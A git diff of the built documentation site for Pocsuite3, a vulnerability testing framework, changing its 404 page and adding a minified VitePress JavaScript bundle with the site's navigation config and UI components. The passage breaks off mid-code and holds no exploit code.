diff --git a/404.html b/404.html index 4e038254..d8354759 100644 --- a/404.html +++ b/404.html @@ -6,14 +6,14 @@ 404 | Pocsuite3 - + -
Skip to content

404

PAGE NOT FOUND

But if you don't change your direction, and if you keep looking, you may end up where you are heading.

Released under the GPLv2 License.

- - +
Skip to content

404

PAGE NOT FOUND

But if you don't change your direction, and if you keep looking, you may end up where you are heading.

Released under the GPLv2 License.

+ + \ No newline at end of file diff --git a/assets/app.3e775e36.js b/assets/app.3e775e36.js new file mode 100644 index 00000000..8c46cbb0 --- /dev/null +++ b/assets/app.3e775e36.js @@ -0,0 +1 @@ +import{s as it,c as w,i as Y,r as rt,m as pe,a as ct,n as ie,d as f,h as ge,b as S,w as re,o as R,e as Q,_,f as O,g as a,j as l,k as c,F as x,l as y,p,q as g,T as Oe,t as ce,u as he,v as r,x as h,y as d,z as N,A as k,B as V,C as le,D as M,E,G as T,H as lt,I as Ge,J as ut,K as dt,L as _t,M as vt,N as pt,O as ht,P as ft,Q as Le,R as Ce,S as mt}from"./chunks/framework.8815fd6f.js";const gt="modulepreload",Me={},yt="/",kt=function(t,n){return!n||n.length===0?t():Promise.all(n.map(s=>{if(s=`${yt}${s}`,s in Me)return;Me[s]=!0;const o=s.endsWith(".css"),i=o?'[rel="stylesheet"]':"";if(document.querySelector(`link[href="${s}"]${i}`))return;const u=document.createElement("link");if(u.rel=o?"stylesheet":gt,o||(u.as="script",u.crossOrigin=""),u.href=s,document.head.appendChild(u),o)return new Promise((v,m)=>{u.addEventListener("load",v),u.addEventListener("error",()=>m(new Error(`Unable to preload CSS for ${s}`)))})})).then(()=>t())};var $t=JSON.parse('{"lang":"zh-CN","title":"Pocsuite3","description":"Open source remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team","base":"/","head":[],"appearance":true,"themeConfig":{"logo":"/img/logo.jpg","nav":[{"text":"Guide","link":"/guide/what-is-pocsuite3","activeMatch":"/guide/"},{"text":"Paper","link":"https://paper.seebug.org"},{"text":"Video","link":"https://www.youtube.com/channel/UCKKmeW6hUa4cc935Jd8eijg/videos"},{"text":"Tools","items":[{"text":"ZoomEye","link":"https://www.zoomeye.org"},{"text":"Seebug","link":"https://www.seebug.org"},{"text":"CEye","link":"http://ceye.io"}]},{"text":"2.0.8","items":[{"text":"PyPi","link":"https://pypi.org/project/pocsuite3/"},{"text":"Homebrew","link":"https://formulae.brew.sh/formula/pocsuite3"},{"text":"Kali","link":"http://pkg.kali.org/pkg/pocsuite3"},{"text":"Debian","link":"https://tracker.debian.org/pkg/pocsuite3"},{"text":"Ubuntu","link":"https://launchpad.net/ubuntu/+source/pocsuite3"},{"text":"DockerHub","link":"https://hub.docker.com/r/pocsuite3/pocsuite3/tags"},{"text":"Arch","link":"https://aur.archlinux.org/packages/pocsuite3"}]}],"sidebar":{"/guide/":[{"text":"\u58F0\u660E","collapsible":true,"items":[{"text":"\u6CD5\u5F8B\u514D\u8D23\u58F0\u660E","link":"/guide/legal-disclaimer"},{"text":"\u7248\u6743\u58F0\u660E","link":"/guide/copyright-notice"}]},{"text":"\u5FEB\u901F\u5165\u95E8","collapsible":true,"items":[{"text":"Pocsuite3 \u662F\u4EC0\u4E48?","link":"/guide/what-is-pocsuite3"},{"text":"\u5B89\u88C5","link":"/guide/install"},{"text":"\u67B6\u6784\u7B80\u6790","link":"/guide/architecture"},{"text":"\u8FD0\u884C","link":"/guide/run"}]},{"text":"\u53C2\u6570\u8BF4\u660E","collapsible":true,"items":[{"text":"pocsuite \u547D\u4EE4\u884C\u53C2\u6570\u8BF4\u660E","link":"/guide/parameter-pocsuite"},{"text":"poc-console \u63A7\u5236\u53F0\u53C2\u6570\u8BF4\u660E","link":"/guide/parameter-poc-console"},{"text":"pocsuite.ini \u914D\u7F6E\u6587\u4EF6\u53C2\u6570\u8BF4\u660E","link":"/guide/parameter-posuite-ini"},{"text":"\u96C6\u6210\u8C03\u7528\u53C2\u6570\u8BF4\u660E","link":"/guide/parameter-integration"}]},{"text":"PoC \u811A\u672C\u7F16\u5199\u89C4\u8303","collapsible":true,"items":[{"text":"\u524D\u8A00","link":"/guide/poc-introduction"},{"text":"PoC \u811A\u672C\u7684\u4E09\u79CD\u6A21\u5F0F","link":"/guide/poc-mode"},{"text":"PoC \u57FA\u7C7B","link":"/guide/poc-base-class"},{"text":"PoC python \u811A\u672C\u7F16\u5199\u6B65\u9AA4","link":"/guide/poc-script-write"},{"text":"\u53EF\u81EA\u5B9A\u4E49\u53C2\u6570\u7684 PoC","link":"/guide/poc-definition-options"},{"text":"PoC \u7F16\u5199\u6CE8\u610F\u4E8B\u9879","link":"/guide/poc-write-notice"},{"text":"Pocsuite3 \u8FDC\u7A0B\u8C03\u7528\u6587\u4EF6\u5217\u8868","link":"/guide/poc-remote-file"},{"text":"\u901A\u7528 API \u5217\u8868","link":"/guide/poc-api"},{"text":"PoC \u4EE3\u7801\u793A\u4F8B","link":"/guide/poc-code-example"},{"text":"PoC \u89C4\u8303\u8BF4\u660E","link":"/guide/poc-specification"}]},{"text":"\u5B9E\u6218 PoC \u5F00\u53D1","collapsible":true,"items":[{"text":"\u524D\u8A00","link":"/guide/poc-demo-introduction"},{"text":"Webmin \u672A\u6388\u6743\u8FDC\u7A0B\u547D\u4EE4\u6267\u884C\u6F0F\u6D1E (CVE-2019-15107)","link":"/guide/poc-demo-cve-2019-15107"},{"text":"mongo-express \u8BA4\u8BC1\u8FDC\u7A0B\u4EE3\u7801\u6267\u884C\u6F0F\u6D1E (CVE-2019-10758)","link":"/guide/poc-demo-cve-2019-10758"},{"text":"Grafana \u672A\u6388\u6743\u4EFB\u610F\u6587\u4EF6\u8BFB\u53D6\u6F0F\u6D1E (CVE-2021-43798)","link":"/guide/poc-demo-cve-2021-43798"},{"text":"\u67D0\u7F51\u7EDC\u6444\u50CF\u5934\u767B\u5F55\u7ED5\u8FC7\u6F0F\u6D1E","link":"/guide/poc-demo-camera-auth-bypass"}]},{"text":"\u63D2\u4EF6\u7F16\u5199","collapsible":true,"items":[{"text":"\u524D\u8A00","link":"/guide/plugin-introduction"},{"text":"TARGETS \u7C7B\u578B\u63D2\u4EF6","link":"/guide/plugin-targets"},{"text":"POCS \u7C7B\u578B\u63D2\u4EF6","link":"/guide/plugin-pocs"},{"text":"RESULTS \u7C7B\u578B\u63D2\u4EF6","link":"/guide/plugin-results"}]},{"text":"\u503C\u5F97\u4E00\u63D0\u7684\u7279\u6027","collapsible":true,"items":[{"text":"\u7279\u6027","link":"/guide/especial"}]},{"text":"\u5E38\u89C1\u95EE\u9898","collapsible":true,"items":[{"text":"QA","link":"/guide/QA.md"}]},{"text":"\u63A8\u8350","collapsible":true,"items":[{"text":"\u516C\u5F00\u6F0F\u6D1E\u5E93","link":"/guide/exploit-db.md"},{"text":"\u6280\u672F\u60C5\u62A5","link":"/guide/literature.md"}]}],"/en/guide/":[{"text":"Declaration","collapsible":true,"items":[{"text":"Legal Disclaimer","link":"/en/guide/legal-disclaimer"},{"text":"Copyright Notice","link":"/en/guide/copyright-notice"}]},{"text":"Getting Started","collapsible":true,"items":[{"text":"What is Pocsuite3?","link":"/en/guide/what-is-pocsuite3"},{"text":"Installation","link":"/en/guide/install"},{"text":"Architecture","link":"/en/guide/architecture"},{"text":"Start Running","link":"/en/guide/run"}]},{"text":"Parameters","collapsible":true,"items":[{"text":"CLI Mode","link":"/en/guide/parameter-pocsuite"},{"text":"Console Mode","link":"/en/guide/parameter-poc-console"},{"text":"Pocsuite.ini","link":"/en/guide/parameter-posuite-ini"},{"text":"Python Module","link":"/en/guide/parameter-integration"}]},{"text":"PoC Writing","collapsible":true,"items":[{"text":"Introduction","link":"/en/guide/poc-introduction"},{"text":"Three Modes","link":"/en/guide/poc-mode"},{"text":"Base Class","link":"/en/guide/poc-base-class"},{"text":"Write PoC","link":"/en/guide/poc-script-write"},{"text":"Custom Parameters","link":"/en/guide/poc-definition-options"},{"text":"Notice ","link":"/en/guide/poc-write-notice"},{"text":"Remote File","link":"/en/guide/poc-remote-file"},{"text":"API","link":"/en/guide/poc-api"},{"text":"PoC Example","link":"/en/guide/poc-code-example"},{"text":"PoC Specification","link":"/en/guide/poc-specification"}]},{"text":"PoC Writing Example","collapsible":true,"items":[{"text":"Introduction","link":"/en/guide/poc-demo-introduction"},{"text":"Webmin Pre-Auth RCE (CVE-2019-15107)","link":"/en/guide/poc-demo-cve-2019-15107"},{"text":"Mongo-express Post-Auth RCE (CVE-2019-10758)","link":"/en/guide/poc-demo-cve-2019-10758"},{"text":"Grafana Pre-Auth Arbitrary File Read (CVE-2021-43798)","link":"/en/guide/poc-demo-cve-2021-43798"},{"text":"Webcam Login Bypass","link":"/en/guide/poc-demo-camera-auth-bypass"}]},{"text":"Plugin System","collapsible":true,"items":[{"text":"Introduction","link":"/en/guide/plugin-introduction"},{"text":"TARGETS Plugin","link":"/en/guide/plugin-targets"},{"text":"POCS Plugin","link":"/en/guide/plugin-pocs"},{"text":"RESULTS Plugin","link":"/en/guide/plugin-results"}]},{"text":"Notable Features","collapsible":true,"items":[{"text":"Features","link":"/en/guide/especial"}]},{"text":"Q & A","collapsible":true,"items":[{"text":"QA","link":"/en/guide/QA.md"}]},{"text":"Recommendation","collapsible":true,"items":[{"text":"Public Vulnerability Database","link":"/en/guide/exploit-db.md"},{"text":"Paper","link":"/en/guide/literature.md"}]}]},"localeLinks":{"text":"","items":[{"text":"English","link":"/en/guide/what-is-pocsuite3"},{"text":"\u7B80\u4F53\u4E2D\u6587","link":"/guide/what-is-pocsuite3"}]},"socialLinks":[{"icon":"github","link":"https://github.com/knownsec/pocsuite3"}],"footer":{"message":"Released under the GPLv2 License.","copyright":"Copyright \xA9 2014-present Knownsec 404 Team"}},"locales":{},"langs":{},"scrollOffset":90}');const ue=/^[a-z]+:/i,Ie="vitepress-theme-appearance",B=typeof window!="undefined",Ue={relativePath:"",title:"404",description:"Not Found",headers:[],frontmatter:{sidebar:!1,layout:"page"},lastUpdated:0};function bt(e,t){t.sort((n,s)=>{const o=s.split("/").length-n.split("/").length;return o!==0?o:s.length-n.length});for(const n of t)if(e.startsWith(n))return n}function Ae(e,t){const n=bt(t,Object.keys(e));return n?e[n]:void 0}function xt(e){const{locales:t}=e.themeConfig||{},n=e.locales;return t&&n?Object.keys(t).reduce((s,o)=>(s[o]={label:t[o].label,lang:n[o].lang},s),{}):{}}function wt(e,t){t=Vt(e,t);const n=Ae(e.locales||{},t),s=Ae(e.themeConfig.locales||{},t);return Object.assign({},e,n,{themeConfig:Object.assign({},e.themeConfig,s,{locales:{}}),lang:(n||e).lang,locales:{},langs:xt(e)})}function qe(e,t){var i;const n=t.title||e.title,s=(i=t.titleTemplate)!=null?i:e.titleTemplate,o=Pt(e.title,s);return`${n}${o}`}function Pt(e,t){return t===!1?"":t===!0||t===void 0?` | ${e}`:e===t?"":` | ${t}`}function Vt(e,t){if(!B)return t;const n=e.base,s=n.endsWith("/")?n.slice(0,-1):n;return t.slice(s.length)}function St(e,t){const[n,s]=t;if(n!=="meta")return!1;const o=Object.entries(s)[0];return o==null?!1:e.some(([i,u])=>i===n&&u[o[0]]===o[1])}function Lt(e,t){return[...e.filter(n=>!St(t,n)),...t]}function Ct(e,t){return`${e}${t}`.replace(/\/+/g,"/")}function K(e){return ue.test(e)?e:Ct(X.value.base,e)}function je(e){let t=e.replace(/\.html$/,"");if(t=decodeURIComponent(t),t.endsWith("/")&&(t+="index"),B){const n="/";t=t.slice(n.length).replace(/\//g,"_")+".md";const s=__VP_HASH_MAP__[t.toLowerCase()];t=`${n}assets/${t}.${s}.js`}else t=`./${t.slice(1).replace(/\//g,"_")}.md.js`;return t}const We=Symbol(),X=it($t);function Mt(e){const t=w(()=>wt(X.value,e.path));return{site:t,theme:w(()=>t.value.themeConfig),page:w(()=>e.data),frontmatter:w(()=>e.data.frontmatter),lang:w(()=>t.value.lang),localePath:w(()=>{const{langs:n,lang:s}=t.value,o=Object.keys(n).find(i=>n[i].lang===s);return K(o||"/")}),title:w(()=>qe(t.value,e.data)),description:w(()=>e.data.description||t.value.description)}}function $(){const e=Y(We);if(!e)throw new Error("vitepress data not properly injected in app");return e}const Ke=Symbol(),Be="http://a.com",It=()=>({path:"/",component:null,data:Ue});function At(e,t){const n=rt(It());function s(u=B?location.href:"/"){const v=new URL(u,Be);return!v.pathname.endsWith("/")&&!v.pathname.endsWith(".html")&&(v.pathname+=".html",u=v.pathname+v.search+v.hash),B&&(history.replaceState({scrollPosition:window.scrollY},document.title),history.pushState(null,"",u)),i(u)}let o=null;async function i(u,v=0,m=!1){const b=new URL(u,Be),L=o=b.pathname;try{let P=e(L);if("then"in P&&typeof P.then=="function"&&(P=await P),o===L){o=null;const{default:C,__pageData:I}=P;if(!C)throw new Error(`Invalid route component: ${C}`);n.path=B?L:K(L),n.component=pe(C),n.data=pe(I),B&&ie(()=>{if(b.hash&&!v){let A=null;try{A=document.querySelector(decodeURIComponent(b.hash))}catch(z){console.warn(z)}if(A){Ne(A,b.hash);return}}window.scrollTo(0,v)})}}catch(P){if(!P.message.match(/fetch/)&&!u.match(/^[\\/]404\.html$/)&&console.error(P),!m)try{const C=await fetch(X.value.base+"hashmap.json");window.__VP_HASH_MAP__=await C.json(),await i(u,v,!0);return}catch{}o===L&&(o=null,n.path=B?L:K(L),n.component=t?pe(t):null,n.data=Ue)}}return B&&(window.addEventListener("click",u=>{const v=u.target.closest("a");if(v){const{href:m,protocol:b,hostname:L,pathname:P,hash:C,target:I}=v,A=window.location,z=P.match(/\.\w+$/);!u.ctrlKey&&!u.shiftKey&&!u.altKey&&!u.metaKey&&I!=="_blank"&&b===A.protocol&&L===A.hostname&&!(z&&z[0]!==".html")&&(u.preventDefault(),P===A.pathname?C&&C!==A.hash&&(history.pushState(null,"",C),window.dispatchEvent(new Event("hashchange")),Ne(v,C,v.classList.contains("header-anchor"))):s(m))}},{capture:!0}),window.addEventListener("popstate",u=>{i(location.href,u.state&&u.state.scrollPosition||0)}),window.addEventListener("hashchange",u=>{u.preventDefault()})),{route:n,go:s}}function Bt(){const e=Y(Ke);if(!e)throw new Error("useRouter() is called without provider.");return e}function D(){return Bt().route}function Ne(e,t,n=!1){let s=null;try{s=e.classList.contains("header-anchor")?e:document.querySelector(decodeURIComponent(t))}catch(o){console.warn(o)}if(s){let o=X.value.scrollOffset;typeof o=="string"&&(o=document.querySelector(o).getBoundingClientRect().bottom+24);const i=parseInt(window.getComputedStyle(s).paddingTop,10),u=window.scrollY+s.getBoundingClientRect().top-o+i;!n||Math.abs(u-window.scrollY)>window.innerHeight?window.scrollTo(0,u):window.scrollTo({left:0,top:u,behavior:"smooth"})}}const Nt=f({name:"VitePressContent",setup(){const e=D();return()=>ge("div",{style:{position:"relative"}},[e.component?ge(e.component):null])}}),Ye=/#.*$/,Et=/(index)?\.(md|html)$/,Tt=typeof window!="undefined",Ht=S(Tt?location.hash:"");function zt(e){return ue.test(e)}function Dt(e,t){let n,s=!1;return()=>{n&&clearTimeout(n),s?n=setTimeout(e,t):(e(),s=!0,setTimeout(()=>{s=!1},t))}}function J(e,t,n=!1){if(t===void 0)return!1;if(e=Te(`/${e}`),n)return new RegExp(t).test(e);if(Te(t)!==e)return!1;const s=t.match(Ye);return s?Ht.value===s[0]:!0}function Ee(e){return/^\//.test(e)?e:`/${e}`}function Te(e){return decodeURI(e).replace(Ye,"").replace(Et,"")}function te(e){if(zt(e))return e;const{pathname:t,search:n,hash:s}=new URL(e,"http://example.com"),o=t.endsWith("/")||t.endsWith(".html")?e:`${t.replace(/(\.md)?$/,".html")}${n}${s}`;return K(o)}function Qe(e,t){if(Array.isArray(e))return e;t=Ee(t);for(const n in e)if(t.startsWith(Ee(n)))return e[n];return[]}function Ft(e){const t=[];for(const n of e)for(const s of n.items)t.push(s);return t}function H(){const e=D(),{theme:t,frontmatter:n}=$(),s=S(!1),o=w(()=>{const b=t.value.sidebar,L=e.data.relativePath;return b?Qe(b,L):[]}),i=w(()=>n.value.sidebar!==!1&&o.value.length>0&&n.value.layout!=="home");function u(){s.value=!0}function v(){s.value=!1}function m(){s.value?v():u()}return{isOpen:s,sidebar:o,hasSidebar:i,open:u,close:v,toggle:m}}function Rt(e,t){let n;re(()=>{n=e.value?document.activeElement:void 0}),R(()=>{window.addEventListener("keyup",s)}),Q(()=>{window.removeEventListener("keyup",s)});function s(o){o.key==="Escape"&&e.value&&(t(),n==null||n.focus())}}const Ot=f({__name:"VPSkipLink",setup(e){const t=D(),n=S();O(()=>t.path,()=>n.value.focus());function s({target:o}){const i=document.querySelector(o.hash);if(i){const u=()=>{i.removeAttribute("tabindex"),i.removeEventListener("blur",u)};i.setAttribute("tabindex","-1"),i.addEventListener("blur",u),i.focus(),window.scrollTo(0,0)}}return(o,i)=>(a(),l(x,null,[c("span",{ref_key:"backToTop",ref:n,tabindex:"-1"},null,512),c("a",{href:"#VPContent",class:"VPSkipLink visually-hidden",onClick:s}," Skip to content ")],64))}});var Gt=_(Ot,[["__scopeId","data-v-55daa11a"]]);const Ut={key:0,class:"VPBackdrop"},qt=f({__name:"VPBackdrop",props:{show:{type:Boolean}},setup(e){return(t,n)=>(a(),y(Oe,{name:"fade"},{default:p(()=>[e.show?(a(),l("div",Ut)):g("",!0)]),_:1}))}});var jt=_(qt,[["__scopeId","data-v-679c914e"]]);function Wt(){const e=S(!1);function t(){e.value=!0,window.addEventListener("resize",o)}function n(){e.value=!1,window.removeEventListener("resize",o)}function s(){e.value?n():t()}function o(){window.outerWidth>=768&&n()}const i=D();return O(()=>i.path,n),{isScreenOpen:e,openScreen:t,closeScreen:n,toggleScreen:s}}const Kt=["src"],Yt={inheritAttrs:!1},Qt=f({...Yt,__name:"VPImage",props:{image:null},setup(e){return(t,n)=>{const s=ce("VPImage",!0);return e.image?(a(),l(x,{key:0},[typeof e.image=="string"||"src"in e.image?(a(),l("img",he({key:0,class:"VPImage"},typeof e.image=="string"?t.$attrs:{...e.image,...t.$attrs},{src:r(K)(typeof e.image=="string"?e.image:e.image.src)}),null,16,Kt)):(a(),l(x,{key:1},[h(s,he({class:"dark",image:e.image.dark},t.$attrs),null,16,["image"]),h(s,he({class:"light",image:e.image.light},t.$attrs),null,16,["image"])],64))],64)):g("",!0)}}});var Xe=_(Qt,[["__scopeId","data-v-58975af6"]]);const Xt=["href"],Jt=f({__name:"VPNavBarTitle",setup(e){const{site:t,theme:n}=$(),{hasSidebar:s}=H();return(o,i)=>(a(),l("div",{class:V(["VPNavBarTitle",{"has-sidebar":r(s)}])},[c("a",{class:"title",href:r(t).base},[d(o.$slots,"nav-bar-title-before",{},void 0,!0),h(Xe,{class:"logo",image:r(n).logo},null,8,["image"]),r(n).siteTitle?(a(),l(x,{key:0},[N(k(r(n).siteTitle),1)],64)):r(n).siteTitle===void 0?(a(),l(x,{key:1},[N(k(r(t).title),1)],64)):g("",!0),d(o.$slots,"nav-bar-title-after",{},void 0,!0)],8,Xt)],2))}});var Zt=_(Jt,[["__scopeId","data-v-201df8ab"]]);const en={key:0,class:"VPNavBarSearch"},tn={type:"button",class:"DocSearch DocSearch-Button","aria-label":"Search"},nn={class:"DocSearch-Button-Container"},sn=c("svg",{class:"DocSearch-Search-Icon",width:"20",height:"20",viewBox:"0 0 20 20"},[c("path",{d:"M14.386 14.386l4.0877 4.0877-4.0877-4.0877c-2.9418 2.9419-7.7115 2.9419-10.6533 0-2.9419-2.9418-2.9419-7.7115 0-10.6533 2.9418-2.9419 7.7115-2.9419 10.6533 0 2.9419 2.9418 2.9419 7.7115 0 10.6533z",stroke:"currentColor",fill:"none","fill-rule":"evenodd","stroke-linecap":"round","stroke-linejoin":"round"})],-1),on={class:"DocSearch-Button-Placeholder"},an={class:"DocSearch-Button-Keys"},rn=c("kbd",{class:"DocSearch-Button-Key"},"K",-1),cn=f({__name:"VPNavBarSearch",setup(e){const t=()=>null,{theme:n}=$(),s=S(!1),o=S();R(()=>{if(!n.value.algolia)return;o.value.textContent=/(Mac|iPhone|iPod|iPad)/i.test(navigator.platform)?"\u2318":"Ctrl";const u=m=>{m.key==="k"&&(m.ctrlKey||m.metaKey)&&(m.preventDefault(),i(),v())},v=()=>{window.removeEventListener("keydown",u)};window.addEventListener("keydown",u),Q(v)});function i(){s.value||(s.value=!0)}return(u,v)=>{var m;return r(n).algolia?(a(),l("div",en,[s.value?(a(),y(r(t),{key:0})):(a(),l("div",{key:1,id:"docsearch",onClick:i},[c("button",tn,[c("span",nn,[sn,c("span",on,k(((m=r(n).algolia)==null?void 0:m.buttonText)||"Search"),1)]),c("span",an,[c("kbd",{class:"DocSearch-Button-Key",ref_key:"metaKey",ref:o},"Meta",512),rn])])]))])):g("",!0)}}}),ln={},un={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",height:"24px",viewBox:"0 0 24 24",width:"24px"},dn=c("path",{d:"M0 0h24v24H0V0z",fill:"none"},null,-1),_n=c("path",{d:"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5H9z"},null,-1),vn=[dn,_n];function pn(e,t){return a(),l("svg",un,vn)}var hn=_(ln,[["render",pn]]);const fn=f({__name:"VPLink",props:{href:null,noIcon:{type:Boolean}},setup(e){const t=e,n=w(()=>t.href&&ue.test(t.href));return(s,o)=>(a(),y(le(e.href?"a":"span"),{class:V(["VPLink",{link:e.href}]),href:e.href?r(te)(e.href):void 0,target:r(n)?"_blank":void 0,rel:r(n)?"noreferrer":void 0},{default:p(()=>[d(s.$slots,"default",{},void 0,!0),r(n)&&!e.noIcon?(a(),y(hn,{key:0,class:"icon"})):g("",!0)]),_:3},8,["class","href","target","rel"]))}});var U=_(fn,[["__scopeId","data-v-101ee61a"]]);const mn=f({__name:"VPNavBarMenuLink",props:{item:null},setup(e){const{page:t}=$();return(n,s)=>(a(),y(U,{class:V({VPNavBarMenuLink:!0,active:r(J)(r(t).relativePath,e.item.activeMatch||e.item.link,!!e.item.activeMatch)}),href:e.item.link,noIcon:!0},{default:p(()=>[N(k(e.item.text),1)]),_:1},8,["class","href"]))}});var gn=_(mn,[["__scopeId","data-v-02ba32e2"]]);const be=S();let Je=!1,fe=0;function yn(e){const t=S(!1);if(typeof window!="undefined"){!Je&&kn(),fe++;const n=O(be,s=>{var o,i,u;s===e.el.value||((o=e.el.value)==null?void 0:o.contains(s))?(t.value=!0,(i=e.onFocus)==null||i.call(e)):(t.value=!1,(u=e.onBlur)==null||u.call(e))});Q(()=>{n(),fe--,fe||$n()})}return ct(t)}function kn(){document.addEventListener("focusin",Ze),Je=!0,be.value=document.activeElement}function $n(){document.removeEventListener("focusin",Ze)}function Ze(){be.value=document.activeElement}const bn={},xn={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},wn=c("path",{d:"M12,16c-0.3,0-0.5-0.1-0.7-0.3l-6-6c-0.4-0.4-0.4-1,0-1.4s1-0.4,1.4,0l5.3,5.3l5.3-5.3c0.4-0.4,1-0.4,1.4,0s0.4,1,0,1.4l-6,6C12.5,15.9,12.3,16,12,16z"},null,-1),Pn=[wn];function Vn(e,t){return a(),l("svg",xn,Pn)}var et=_(bn,[["render",Vn]]);const Sn={},Ln={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},Cn=c("circle",{cx:"12",cy:"12",r:"2"},null,-1),Mn=c("circle",{cx:"19",cy:"12",r:"2"},null,-1),In=c("circle",{cx:"5",cy:"12",r:"2"},null,-1),An=[Cn,Mn,In];function Bn(e,t){return a(),l("svg",Ln,An)}var Nn=_(Sn,[["render",Bn]]);const En={class:"VPMenuLink"},Tn=f({__name:"VPMenuLink",props:{item:null},setup(e){const{page:t}=$();return(n,s)=>(a(),l("div",En,[h(U,{class:V({active:r(J)(r(t).relativePath,e.item.activeMatch||e.item.link)}),href:e.item.link},{default:p(()=>[N(k(e.item.text),1)]),_:1},8,["class","href"])]))}});var de=_(Tn,[["__scopeId","data-v-11035866"]]);const Hn={class:"VPMenuGroup"},zn={key:0,class:"title"},Dn=f({__name:"VPMenuGroup",props:{text:null,items:null},setup(e){return(t,n)=>(a(),l("div",Hn,[e.text?(a(),l("p",zn,k(e.text),1)):g("",!0),(a(!0),l(x,null,M(e.items,s=>(a(),l(x,null,["link"in s?(a(),y(de,{key:0,item:s},null,8,["item"])):g("",!0)],64))),256))]))}});var Fn=_(Dn,[["__scopeId","data-v-23e12ca0"]]);const Rn={class:"VPMenu"},On={key:0,class:"items"},Gn=f({__name:"VPMenu",props:{items:null},setup(e){return(t,n)=>(a(),l("div",Rn,[e.items?(a(),l("div",On,[(a(!0),l(x,null,M(e.items,s=>(a(),l(x,{key:s.text},["link"in s?(a(),y(de,{key:0,item:s},null,8,["item"])):(a(),y(Fn,{key:1,text:s.text,items:s.items},null,8,["text","items"]))],64))),128))])):g("",!0),d(t.$slots,"default",{},void 0,!0)]))}});var Un=_(Gn,[["__scopeId","data-v-81ae02dc"]]);const qn=["aria-expanded","aria-label"],jn={key:0,class:"text"},Wn={class:"menu"},Kn=f({__name:"VPFlyout",props:{icon:null,button:null,label:null,items:null},setup(e){const t=S(!1),n=S();yn({el:n,onBlur:s});function s(){t.value=!1}return(o,i)=>(a(),l("div",{class:"VPFlyout",ref_key:"el",ref:n,onMouseenter:i[1]||(i[1]=u=>t.value=!0),onMouseleave:i[2]||(i[2]=u=>t.value=!1)},[c("button",{type:"button",class:"button","aria-haspopup":"true","aria-expanded":t.value,"aria-label":e.label,onClick:i[0]||(i[0]=u=>t.value=!t.value)},[e.button||e.icon?(a(),l("span",jn,[e.icon?(a(),y(le(e.icon),{key:0,class:"option-icon"})):g("",!0),N(" "+k(e.button)+" ",1),h(et,{class:"text-icon"})])):(a(),y(Nn,{key:1,class:"icon"}))],8,qn),c("div",Wn,[h(Un,{items:e.items},{default:p(()=>[d(o.$slots,"default",{},void 0,!0)]),_:3},8,["items"])])],544))}});var xe=_(Kn,[["__scopeId","data-v-5522510e"]]);const Yn=f({__name:"VPNavBarMenuGroup",props:{item:null},setup(e){const{page:t}=$();return(n,s)=>(a(),y(xe,{class:V({VPNavBarMenuGroup:!0,active:r(J)(r(t).relativePath,e.item.activeMatch,!!e.item.activeMatch)}),button:e.item.text,items:e.item.items},null,8,["class","button","items"]))}});const Qn=e=>(E("data-v-12a0f374"),e=e(),T(),e),Xn={key:0,"aria-labelledby":"main-nav-aria-label",class:"VPNavBarMenu"},Jn=Qn(()=>c("span",{id:"main-nav-aria-label",class:"visually-hidden"},"Main Navigation",-1)),Zn=f({__name:"VPNavBarMenu",setup(e){const{theme:t}=$();return(n,s)=>r(t).nav?(a(),l("nav",Xn,[Jn,(a(!0),l(x,null,M(r(t).nav,o=>(a(),l(x,{key:o.text},["link"in o?(a(),y(gn,{key:0,item:o},null,8,["item"])):(a(),y(Yn,{key:1,item:o},null,8,["item"]))],64))),128))])):g("",!0)}});var es=_(Zn,[["__scopeId","data-v-12a0f374"]]);const ts={},ns={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},ss=c("path",{d:"M0 0h24v24H0z",fill:"none"},null,-1),os=c("path",{d:" M12.87 15.07l-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11.76-2.04zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2l-4.5-12zm-2.62 7l1.62-4.33L19.12 17h-3.24z ",class:"css-c4d79v"},null,-1),as=[ss,os];function is(e,t){return a(),l("svg",ns,as)}var tt=_(ts,[["render",is]]);const rs={class:"items"},cs={class:"title"},ls=f({__name:"VPNavBarTranslations",setup(e){const{theme:t}=$();return(n,s)=>r(t).localeLinks?(a(),y(xe,{key:0,class:"VPNavBarTranslations",icon:tt},{default:p(()=>[c("div",rs,[c("p",cs,k(r(t).localeLinks.text),1),(a(!0),l(x,null,M(r(t).localeLinks.items,o=>(a(),y(de,{key:o.link,item:o},null,8,["item"]))),128))])]),_:1})):g("",!0)}});var us=_(ls,[["__scopeId","data-v-5c1aee4a"]]);const ds={},_s={class:"VPSwitch",type:"button",role:"switch"},vs={class:"check"},ps={key:0,class:"icon"};function hs(e,t){return a(),l("button",_s,[c("span",vs,[e.$slots.default?(a(),l("span",ps,[d(e.$slots,"default",{},void 0,!0)])):g("",!0)])])}var fs=_(ds,[["render",hs],["__scopeId","data-v-578e1f19"]]);const ms={},gs={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},ys=lt('',9),ks=[ys];function $s(e,t){return a(),l("svg",gs,ks)}var bs=_(ms,[["render",$s]]);const xs={},ws={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 